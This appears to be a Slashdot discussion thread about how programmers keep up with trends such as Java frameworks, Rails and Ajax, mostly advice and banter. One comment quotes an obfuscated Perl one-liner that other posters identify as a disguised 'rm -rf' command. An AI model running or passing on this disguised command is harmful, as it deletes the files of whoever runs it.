Staying On-Top of Programming Trends?
GhettoPeanut asks: "Trends are constantly changing, upgrading, or become popular due to high end user demand or just basic usefulness. I do my best to keep up with the trends, believing that for the most part they will be better then the current methods in place, or just comfort in knowing that if enough people use it, that there will be allot of help out there. Ultimately though, its keeping up with these trends and trying to figure out what's a fad versus what's actually useful that's the difficult part. What do some of you do to keep up with the trends? Websites? Magazines such as Dr. Dobbs? Forums? I know there's not one solve all, but for the sake of argument, suppose you wanted to stay on the forefront of Java based web development, what would you do?"
suppose you wanted to stay on the forefront of Java based web development, what would you do? I'd make sure I worked near a Starbucks that never closed while I worked on my Geocities website. Java owns you
Infiltrated dot Net
Read Slashdot of course!
1. Other programmers I know in various fields. I happen to know quite a few.
2. The plethora of content Sun, Java, MySQL, Microsoft, Oracle, and many other high-profile "framework sponsors" push out on various developer networks, such as MSDN, DevZone, OTN...
3. Whatever the hell O'Reilly is making books about.
4. Seminars and conventions, often made/endorsed/branded by computer publishers such as O'Reilly and aforementioned "framework sponsors".
I've really enjoyed 1001 Buzzwords for the Entry-Level Programmer.
Sheesh, evil *and* a jerk. -- Jade
This isn't what you asked, but you shouldn't follow trends, you'll just end up with a little knowledge of everything. Just concentrate on C or C++ for *NIX (or something similarly consistent) and you'll eventually be a guru, able to do anything you wish with it.
ResidntGeek
Nasty Evil person. Posting a rm-rf script. Shame on you. Julian Calaby
$ su -c 'su nobody' $ nice -n 19 perl -e '$??s:;s:s;;$?::s;;=]=>%-{-|}&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Permission denied errors. :-)
But still... Careful people. ;)
~Davus (off topic)
I would suggest Mono as an important project. As Microsoft designed it, .net's common language runtime can be targeted from practically any language. .net is equivalent to a standard virtual machine that provides a standard environment (duh). By allowing code to leverage other code and perform this work independent of any particular programming languages they've created a large developer base that can easily be ported to Linux via Mono.
8^p
Shh.
Read
First, you need to read a lot. Dr Dobbs, MSDN, developer blogs, books. To separate fad from rad, I recommend you use your own common sense.
For example, a few years back I worked hard to learn and understand the Unified Process. There were a lot of great ideas in there, but I felt it was too heavyweight and over the top for what I was doing. But I did feel it had brilliant ideas and revolutionary concepts. So I took what I thought were the most practical ideas and used them. The most important ideas I took were things like 1) throwing out the waterfall approach and developing iteratively, testing and "releasing" after each iteration, 2) identifying the biggest show-stopper risks up front and doing research to make them not so scary, 3) getting the customer/end user involved up front and through the whole process. A lot of people might shoot me for saying this, but it turns out that the Unified Process was pretty much a fad, and those key concepts turn out to be the foundation for "Agile Development" and "Extreme Programming."
The point is, read and study anything that interests you, and decide for yourself what's useful.
Succeed
Second, you need to do stuff to get success stories you can tell when you're interviewing or selling yourself to your current employer. A lot of book knowledge doesn't do diddley if you don't put things in the done basket. Ever see people at work with dozens of spiffy certifications that can't code their way out of a paper bag? Don't be like that. Do lots of stuff and do it successfully.
I recommend you work on anything you have some passion for, even if it's not directly work related. For example, I did a lot of 3D programming when I was working as an Oracle PL/SQL developer. Totally unrelated to work. But I honed my OO skills, learned OpenGL and DirectX, learned a lot about 3D math. Although it took a while to pay off, all of it did eventually pay off. Knowledge of C++ helped me answer tricky STL interview questions, and I later got a job with a company that makes interactive 3D training software for jet mechanics-- way cooler than Oracle. And even though this wasn't work-related, I was able to include that work in my list of success stories I could tell potential employers and other people making decisions about me.
So do whatever you have a passion for, and do it successfully and to completion.
Pick a language and learn it to your best: I would suggest a language like Java or C, C++. The more you learn about your langauge that you choose the better you will get at it and the more you will be in the trend. I started learning C++ back in college and I use it. I learned it very well and I keep up to date with it changes.
A site cowboyneal will like http://www.freewebs.com/atpa/
Set up an RSS reader like reader.google.com or bloglines.com, then find a bunch of RSS feeds that cover that domain in some fashion. For Java, for instance, you can find some feeds here.
The key is that that it's really quantity and regularity that's most important- If you spend a little time each day immersing yourself in the terminology you'll start to get a feeling of who has the most credible opinions in that field and what those persons are excited about (so eventually you'll have quality covered as well).
There's a good chance that this will, of time, allow you to spot patterns and predict technology trends.
Don't run this at root! You will be sorry. "Don't every push the red button"
A site cowboyneal will like http://www.freewebs.com/atpa/
Your focus shouldn't be on tracking and staying on top of all the trends. It should be about finding ways to be more efficient and more productive with what you're already doing. Occasionally, I will accidentally run across a cool new tool or framework that's useful, but most of the time I have to go looking for it myself. If you find yourself saying "Surely there's a better way," someone else has probably said the same thing. And while you could scan books or search online for the answer, talking to someone else who has experienced the same thing is probably your best bet. Get involved with a local user's group for whatever language you're developing in. Ask questions, show up at the meetings and contribute back to the group. It's still good to track new trends, but this should be secondary. Just subscribe to a tech magazine or two or maybe watch some of the RSS feeds from sites that pertain to your work, but your best resource is the rest of the community.
Honestly, being a regular on slashdot will keep you pretty current on the latest fads in the industry. For a specific technology, I recommend finding a few experts or "thought leaders" in that field who have blogs and reading whatever they're reading.
Also, as others will say ad infinitum, focusing on the basics is much more important than trying new fads or styles.
The best advice I have heard was from I believe Martin Fowler who said to learn a new language every 6 months. So, instead of learning the differences between JSF and Struts, pick up a Rails book, or Python, or Boo, or Lua. (Except if part of your job is figuring out the differences between JSF and Struts)
Several of my coworkers attended JavaOne, and while I would have liked to have gone, I'm much happier going to Agile 2006 where I will get exposed to a wider variety of things going on. For example, if you haven't tried Rails, it is a great way of seeing how using sensible defaults can get something up and running quickly, and how extension can keep it maintainable as it grows.
Same thing with ASP.NET. The event model for web pages is really great, and I've built some neat apps in ASP.NET which let me use some of the cleanest MVP seperation possible.
So, if you want to know more about Java, pick up some other languages. You'll find yourself wanting to do even more.
Random Musings
Learn general fundamental stuff first.
:-)
Like: LISP, the relational model, etc.
Then after a while you'll notice that most everything is a subset of something that's already been invented, but with a different name, or a different syntax, or a different "marketing angle".
Ruby? Python? Different subsets of Lisp with more interesting syntax.
Ajax? A more complicated way of doing client/server communication.
SQL databases? Kinda like a relational database, but simpler.
Object databases? Take the relational model and add a large number of constraints, tada, there's an OO database.
FreeBSD vs. Linux? Mostly the same.
You might also become quite bitter and annoyed with the IT industry after a few years.. try not to take it out on others.
But seriously, concentrate more on what make things ALIKE. Vendors and people who haven't been in the IT industry very long will try and convince you that what they have is revolutionary and exciting, etc. They'll try and ridicule your "old-fashioned" view of whatever it is. Just smile politely and try and apply your existing knowledge with the syntax or the pretty face of "their" technology.
Shoot myself.
More seriously, trying to stay up to date on every new trend is pointless. You're better off picking a few things and learning them well.
Maybe not
I know Java very well, but my true strength is in design. It doesn't matter what languages come and go, those skills will always be useful.
Learn good communication skills so others will think you are competent. Even if you aren't.
Learn persuasion skills so you get good compensation.
Prepare side interests that you can ramp up into money-making ventures in a few months. If your company folds, you get laid off, or you decide to retire (or just plain quit) and the job market sucks, you at least have an avenue to pursue.
@HbFyo0$k8 tH!$
I don't think what you're looking for exists!
/. and many other geekly news-aggrigator sites. I keep my ear to the ground and keep track mentally of how often new programming/tech buzzwords get kicked around. I investigate every technology on a high-level, and when I see a new trend emerging that seems to offer a solution that nothing else has so far, get involved on a granular level. I make my own decisions based on what information I can gather.
I find that I generally have a good idea what's going on by frequenting
Bottom line is, to use your example, if you were looking for what was going down on cutting-edge Java, you would simply spend a good portion of your time researching Java. But the point I'm trying to shoehorn in here is that to stay on edge, you have to be on edge. Which means investing time and researching and *actually* knowing what's going on. Otherwise you'll remain a tool to the hype-machines that have felled so many good programmers / managers.
Sorry... I wish I could give you the "visit site X" answer that you're looking for. I really do.
1998 called, and they want their troll back.
Doesn't matter what your qualifications are, you can apply, but you're not qualified.
The C++/CLI language looks interesting. You can download the spec from http://www.ecma-international.org/publications/sta ndards/Ecma-372.htm. Yes, it is Microsoft grown, but they seem to have some good people on the design team (Lippman, Sutter) and it's nothing at all like the mess that Managed C++ was. It's worth looking at if you want to keep abreast of 'current trends'.
OTOH I will recommend you become an entrepreneur.
Slashdot = Sarcasm
Seriously, if you have even a modicum of skill/experience, it should be easy to identify who else has better skill/experience and take their opinions on matters. Things that aren't fads will generally have everyone who is really good touting it (or at least not knocking it). Fads will generally have a few good people touting it, but most disregarding it or knocking it outright.
Good programmers won't knock or promote languages or technologies out of whim or fad or zealotry; they'll promote something they like and at least give grudging respect to good stuff they don't like.
And it's so unrewarding, because you're expected to work around the flaws in the libraries. I miss aerospace, where, when a vendor doesn;t meet specification, the contracts people pound on the vendor until it's fixed.
I find podcasts a great time saver for keeping up with things you are interested in. Not all of mine are technology or computer related but several are.
Although not the only source of info, you can listen to them on your commute or while doing other mundane things.
As for Java, I find http://javaposse.com/ a great listen with interesting bits of info even if I don't agree with everything they come out with.
1) The biggest news in Java is that you don't have to program in Java anymore. Popular languages like Python, Ruby and Eiffel(HA! Loser.) have all been ported to the Java VM, and have access to to the Java libraries, in addition to the Python/Ruby/OCaml(HA! Loser.) libraries.
2) You will only ever need to know Java, Ruby or Python to make it as a Web Programmer.
3) RoR is teh hawt. On the Java side, knowing Spring, Hibernate, struts, jUnit, JSF and (hold your nose) Beans will get you far. Python? HA!
4) Python was in, now it's on its way out. Python geeks can keep the perl geeks warm when it snows. Take comfort, the Ruby guys will be there to huddle up with you in five years. PHP guys don't get paid, but will be wanted by people who don't like to pay programmers.
5) C++. How quaint. You must have come from the game programming field. Perhaps you should go back there? We sure as hell don't want you. Go and keep the LISP guy company at the geezer end of the bar.
SoupTellsItLikeIt Is
suppose you wanted to stay on the forefront of Java based web development, what would you do?
Kill myself.
Install windows on my workstation? You crazy? Got any idea how much I paid for the damn thing?
Thats it. Know how to program in C/C++ and you will find a job.
What it really comes down to is knowing your data structures, knowing how much memory you're using, knowing how brutal your algorithms are, knowing the time to add/remove/find elements in your structures, and once you know C/C++, everything is a cakewalk. Seriously. Jesus I still wish I was doing web programming, where wasting massive cpu was okay. Learn C/C++ and find a job where you need to keep things speedy like games or web servers that need to deliver massive amounts of requests per second. Spend 2 years doing that, and you'll need and know everything you need to know for a career in programming.
"Old man yells at systemd"
> Suppose you wanted to stay on the forefront of Java based web development, what would you do?
To keep up with what's happening in the Java world, I'd recommend listening to the excellent Java Posse podcast and as well as reading The Server Side.
Again with the malicious code?
"Ultimately though, its keeping up with these trends and trying to figure out what's a fad versus what's actually useful that's the difficult part. What do some of you do to keep up with the trends?"
You have two choices. You can either be the one who starts a trend, or the one who follows it. I personally prefer the former, were I can do what I want, and the results are followed by those who see the good in what I'm doing. The latter you hand control over to others (with all that implies).
relational database: http://en.wikipedia.org/wiki/Relational_database
"A relational database is a database structured in accordance with the relational model. Strictly speaking the term refers to a specific collection of data but it is invariably employed together with the software used to manage that collection of data. That software is more correctly called a relational database management system (RDBMS). Relational database management systems incorporate many features from the relational model, but commercial RDBMSs also tend to diverge from the relational model in significant ways."
SQL like an abstract RDBMS. It's focused on geting things done vs set thery and it "diverge from the relational model in significant ways".
Read Slashdot of course!
Yes. Slashdot has quite a reputation for attracting knowledgeable people, yet be aware that some are rather biased towards OpenSource. And don't forget that people who do OpenSource (me including) have a rather absolute opinion. So as long as you are a little sceptic you should be able extract the trends.
As you mention Java you may well notice that currently any Java discussion always tends toward flame wars. Flame wars are always signs that something isn't good, that the there isn't an uphill trend. Flame wars always arises when the future (a trend) isn't going as wished.
I'm probably much biased but IMO the future trend in software development is "cross-platform". So far for many years you could do resonable cross-platform development only with Java. Today you can equally well do cross-plaform development with AJAX or with wyoGuide (binary applications, http://wyoguide.sf.net/). So regardless which of the different technology takes the lead, cross-platform development will increase to the point where single-platform development won't be accepted.
O. Wyss
See http://wyoguide.sf.net/papers/Cross-platform.html
Trends are constantly changing, upgrading, or become popular due to high end user demand
Why the hell should users care what language their stuff is written in? They're USERS!
"We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
I figure learning that language will take me about a day and a half.
True, C# isn't a hard language to learn. I find it a little disjointed as I'm primarily a Java guy, but it's simple to understand.
The problem with C#, or indeed Java, is that the API and associated frameworks do so much for you, but take a long time to master. Some of my early Java code is needlessly verbose because i simply didn't know that the API made certain functionality available. Now that i'm competant in a small number of frameworks and have better learned the development tools, i find i can work a lot faster.
It doesn't take long before you become so used to the framework that programming in C or asm seems like reinventing the wheel.
Professionaly, it is not only hard, but also a suicidal move. Read some Joel to understand.
Why is this marked as Troll?
I want a list of atrocities done in your name - Recoil
Screw fads. They are for Lemmings that chase the heard.
Learn how to program. Lot's of people can code. Real programmers are rare.
Become intimately familiar with the language that you are programming in. Learn to think in that language and you'll stand out.
We could doubtless have hours of debate on the virtues (and follies) of structured design and programming, object-oriented design and programming, etc. We might even have a few devinely inspired programmers who will tell you that is how Jesus told me to do it.
I'll make it real simple: If you write good, solid code then you'll be miles ahead of the rest of the crowd.
Is that a SCSI connector or are you just glad to see me?
My algorithm is to read Slashdot regularly to look for things that I haven't heard of (usually in the comments, not necessarily articles). When I see a new language or methodology that seems to have a few positive comments written about it, I find a definitive web site and download some pdfs, do some tutorials, or go to O'Reilly and read a book about it (a Safari subscription is nice for this). It works well. It takes some time and effort but I end up with in-depth knowledge (not just buzzwords) about pretty much everything that is relevant. Magazines and such are a total waste of time.
Devon
1. Plan on studying something new every 12-18 months.
2. Don't just concentrate on technologies. Study Project Management, Emotional
Maturity, Presentation skills and public speaking. Think of yourself as an
investment, you want to hedge your down-side by making sure you have skills
completely outside the particular situation you are in at any given time.
3. Review yourself every 6 months or so. Are you stuck in a learning rut, continuing to
read the same types of junky "Visual Basic in 21 nanoseconds" or are you actually
challenging yourself?
4. Review the basics every so often. Go back and read a deep book on analysis of
algorithms or databases or language design.
5. Try to push yourself out of your comfort zone every few years.
6. Don't get too hung-up on the buzz-word du jure. 90% of them will last a millisecond
in your career.
7. Treat everyone you come into contact with as a teacher.
what would you do?
Nothing, apart from maybe reading my favourite computer magazine and some good news website. What ppl call "trends" is to a major part companies trying to establish their products and producing corresponding marketing hype. Trying to follow all those is like watching commercials all day and then run and buy all of those products. Especially, you're always behind and likely subject to constant frustration. So if you stumble across something which really seems interesting try and make sure it's worth your time, then just do that and do it thoroughly. Even better, set a trend yourself and let others dig through the stuff you are doing.
Usually, the way I keep up is well... checking slashdot, but not only that I also check out new and upcoming releases of programming books on Amazon.com. For instance I did not really look into AJAX until I started seeing a lot of information out there about it, such as books (WROX has a really good one cannot think of the title though). But usually I do not learn a new fad/trend until I see people actually using it in the work environment or seeing it being talked about a lot by my fellow developers. I see no reason to waste my time on something if its not going to stick around.
-- Josh
"Whoopie! Man, that may have been a small one for Neil, but that's a long one for me!" - Pete Conrad
and stand by the road with the other programmers. If you're nice and not too territorial, they'll share tips with you.
Programming languages are just tools, you want to keep up on the trends? Learn more about how best to use the tools. Employers now are more and more concerned with getting a high quality product out the door in a reasonable time and the claims of using OO or structural langauages are just hype.
It is the developemnt strategy that will either make or break a project. Knowing the latest trends on requirements capture, design, testing and coding techniques for your niche and knowing how to adapt and taking pragmatic approaches will be far superior than knowing the latest trends in programming languages
I've stuck with it. Strangely enough, it's worked for me. Go figure. :-|
Few IT people, even those who understand Patterns methodology, have ever read the original works by the architect Christopher Alexander. His book A Timeless Way of Building is a masterpiece of design philosophy, that describes the Way of building anything, from a single chair, to a house, a neighborhood, a city, a program, a world, or even a life. Shut down your browser, skip a couple of RSS feeds, and take the time to read this charming little book. My two cents.
>>SQL like an abstract RDBMS.
No. It's not. Why is this so hard for you to understand?
Is HTTP like a webserver?
If you came into my office and said "Well, I don't know language X but I should be able to knock out production code with it in a day and a half would give me the willies."
Just think of PHP, easy to learn, easy to exloit noob code.
"Enjoy what you're doing! If it becomes drudgery, you're doing it wrong!" - Jim Butterfield
They were moderated Informative.
As has been pointed out elsewhere in this thread, the old adage is true that learning a new language is easier once you know programming/engineering basics. But only so far. Each time you learn a new language you learn a new way of looking at design problems, and add a new tool to your work bench.
What has helped me more than anything is refining my ability to see the pattern in problems, and refining my problem solving skills.
I'd read anything by Joel, Martin Fowler, and what interests you among Oreilly's new books, and I'd use it. Again, as has been pointed out, you won't truly learn it until you've used it. There's some Hemingway quote about not being a writer until you've written 1 million lines or some such. Maybe something similar applies to engineering...not an engineer until you've successfully solved 500k problems, unsuccessfuly worked on 500k (But know why they didn't work). Batting averages vary, and will get better as you improve.
All of the above is rehash, so here's something new (somewhat):
1. IMHO you've got the wrong order: Don't read books then try something.
Instead try something new, if you run into a road block buy a book on the aspect that's a problem, learn why it's a road block and finish the problem.
2. Learn how to see patterns. Not Gang of Four patterns, but how pieces of an architecture interoperate and exchange data, how they work together, and why they work together.
InfoQ.com just launched a few weeks ago, it's a new site whose purpose is 'tracking change and innovation in enterprise software deveopment'. They are covering Ruby, Java, .NET, Agile, and SOA.Its organizers include Scott Ambler, Floyd Marinescu, Obie Fernandez, Alexandru Popescu and other big names from the various different communities.
The site is one of the only communities serving Ruby with regular books, articles and such, and I (the former creator of TheServerSide.com) am writing about Java on it, on a regular basis, so it's probably one of the most detailed ways to track innovation in Java. Best of all, it's got some personalization capabilities that let you turn off topics you don't want and those even reflect in your RSS feed.
Floyd
The original poster wants to stay on top of trends. I mean no offence but is it really your place to dictate to the original poster his or her interests?
A heads down coder doesn't need to be on top of the latest trends but an architect does. When asked why a certain technology was included or omitted, the architect should be able to give a knowledgable answer in order to be perceived as credible. An answer of ignorence (i.e. I never heard of that) doesn't buy you much credibility.
Seriously. Why?
The bitter lessons of a veteran coder: http://bitterprogrammer.blogspot.com
Give yourself some time each week to play with new "stuff". Download some new development environments and play with them.
As for choosing what "stuff" to download and explore? Just surf around, subscribe to some development-oriented RSS feeds in a decent newsreader, see what the buzz is about. Some of the buzz is justified, some isn't, but following the buzz with a healthy dose of skepticism and a big grain of salt is tons more effective than just flailing around in the dark.
The big challenge, of course, is blocking out time to do this on a regular basis. I've only been semi-successful (and that's putting it nicely) at that part of things myself. But when I do block out time, it's pretty rewarding.
Sometimes buying a book on a topic is a good motivator, too. Get a nice book stand that you can sit next to your monitor (or a second monitor and a subscription to O'Reilly Safari so you can read online!) and work your way through the first few chapters. That will give you a good feel for if it's something you want to continue with. Sure, books are expensive but consider it a small cost in the larger game of working in a field that generally pays nicely.
OtakuBooty.com: Smart, funny, sexy nerds.
suppose you wanted to stay on the forefront of Java based web development, what would you do?"
I'd find a sword and fall on it.
You want to know the latest trends for Java-based web development? Fewer and fewer people are going to be doing Java-based web development in the future.
Fuck trends. They're wrong. Every day the industry continues to stay with its current ridiculous technologies when vastly superior ones were invented decades ago infuriates me further. If it doesn't infuriate you, you're not paying close enough attention.
My advice: read Lambda the Ultimate and Steve Yegge's blog. Endeavor to learn what the lambda calculus and referential transparency are. If you are sincerely interested in bettering yourself as a programmer and don't go find out who Alonzo Church was then so help me God I will kick you in the balls. Learn about SML and type inference. Learn about Haskell and monads. Learn about process calculi and Erlang. Learn about Lisp and code generation and domain-specific languages. Learn about Scheme and lexical closures and continuations. Learn about Smalltalk and what OO was really supposed to be. Learn about type theory and formalism and the Curry-Howard correspondence. Learn about Forth and Joy and how you can have a powerful, expressive language without even so much as a grammar. Learn about Intercal and Befunge and just how badly your choice of programming language can torture you. Learn about UML and Ruby on Rails and Seaside and agile programming and Java generics and Python generators. Learn about aspect-oriented programming, context-oriented programming and concept programming. Learn about multi-paradigm languages like OCaml or Oz. Learn about weird Lisp dialects with syntax like Rebol or Dylan.
Realize that library design is language design. Realize that asynchronous programming with callbacks and explicit state in a world where lightweight coroutines were around in the days of fucking Simula in the 60s for Christ's sake is cruel and unusual torture. (Sorry, pet programming construct.) Realize that the programming language research community, while considering systems programming a solved problem and generally not interested in talking about human factors, is doing some genuinely promising work. Did you know that there are conc
Learn what not to do by periodically visiting http://thedailywtf.com/
I will just answer your question. Since you asked for *what* you would do to keep with trends and not *whether* you should keep up with trends (that is a seperate discussion)
- Tinkering with technology is key. Learning to program is an iterative process. Download the tools, look at the demo code. Mess
with it. See what happens. Break it, fix it. Don't read a book just yet. Experiment first.
- If you are stuck. Google for forums, start asking questions on the newbie section. Make sure you stick to the "newbie" section
if you think you are one. Posting simple questions on the advance section will just frustrate everybody.
- If you really want to get to know the trend. Cook up a personal project. Set goals (reasonable ones). Make sure the project
solves a realistic problem/need. Start working on the project. Seek help from forum on the project. If your project is an
interesting one maybe someone will volunteer to join in. Seek sourceforge/java.net or sites that allow for team projects to
reside.
- Read book on what you are experimenting (This is really the last resort). I usually don't have the patience to go through a book
There is plenty of "quick and dirty" info online and reading book would be only in cases where you are trying to evaluate a
vendor specific technology and the vendor insist on you buying a book or paying for a subscription to get to know their
technology (vendor = Microsoft). I think we will make contact with alien life before Microsoft makes Visual Studio
freely available for download. The former is more likely to happen than the latter...
Anyways.. you get my drift.. just be interested in what you do and the rest will follow.
In general, avoid the trends. Stay away from magazines - they are the greatest purveyors of trends. I generally wait until the technology has matured. It will either die on the vine, or fix the most annoying issues. For example, early versions of JSP were pretty horrible, but now it is the cornerstone of the web apps that I build.
Boring anecdote: I am glad that I fended off the EJB hype. Now, most of the industry has realized what I suspected all along - EJBs are mostly useless and usually create more problems than they solve. About 5 years ago I had a technical manager that insisted we use EJBs for all our new development. I resisted the best I could. One engineer on the team even proved that for database access, the EJBs were 10x slower. The manager didn't seem to care. We ended up putting in enough EJBs to satiate his mandate, but mostly avoided them like the plague. EJB == Extra Java Bloat
"No matter where you go, there you are." -- Buckaroo Banzai
USIT. learn it. it represents 50 years distillation of problem solving.